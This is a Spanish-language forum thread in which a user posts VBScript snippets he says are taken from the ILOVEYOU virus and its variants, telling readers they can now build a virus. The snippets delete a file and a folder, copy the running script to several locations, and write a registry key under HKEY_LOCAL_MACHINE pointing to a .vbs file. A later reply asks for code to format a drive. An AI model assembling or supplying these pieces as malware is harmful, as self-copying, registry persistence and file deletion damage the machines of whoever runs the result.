Codigos De Vb (jodidos)

(1/2) > >>

Pelkabin:
hey,aki les dejo algunos kodigos "maliciosos" sakados del virus y Love You y variantes.......
Ya pueden krear un virus!!!XD

-----------------------------

----------------Borrar Archivos-----------

Dim fso, f1, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("c:\lokesea.txt")
f1.Delete

( se borrara el archivo lokesea.txt del disco C: )

 

-------------Borrar Carpeta---------------------

Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.DeleteFolder("C:\Pkn")

( podemos ver el DeleteFolder donde borra la carpeta pkn del disco C: )

 

------------Copia de si mismo en otro lugares-------------------

Copiarasimismo()

Sub Copiarasimismo()
dim fso, eq, ctr, file, vbscopy
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy("C:\Misdocumentos\pkn.vbs")
c.Copy("C:\pkn1.vbs")
c.Copy("C:\pkn2.vbs")
end sub

 (se copiaria en C:\Misdocumentos\pkn.vbs, en C:\pkn1.vbs y C:\pkn2.vbs al ser ejekutAdo)

 

----------Crear linea en el regristro--------

RegeditCrear()

Sub RegeditCrear()
Dim Rege
Set Rege = WScript.CreateObject("WScript.Shell")
Rege.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Pelkabin","C:\pelkabin.vbs"
end Sub

( se agrega la linea en el regristro de Windows )

 

--------------------Crear un Archivo--------------------

Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.CreateTextFile("C:\kokakola.txt")

(Se crea en c:\kokakola.txt)

 

--------------Crear un Archivo con información dentro--------------------

Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Pkn.txt", True)
'Escribir una línea con un carácter nueva línea.
tf.WriteLine("hola holita!!!")
' Escribir tres caracteres de nueva línea al archivo.
tf.WriteBlankLines(3)
' Escribir una línea.
tf.Write ("Esto es una prueba.")
tf.Close
--------------------------------


Saludos PkN

DesTruçToR:
eso es VBS no? o VB a sekas?

gracias tronko ;)

byebye:
si es vbs. aunq se puede usar en vb

DesTruçToR:
ok gracias tio :)

zIHk:
Alguien sabe el código para formatear una unidad de disco?? Por ejemplo D:  ;)
Salud0z.

Navegación

[0] Índice de Mensajes

[#] Página Siguiente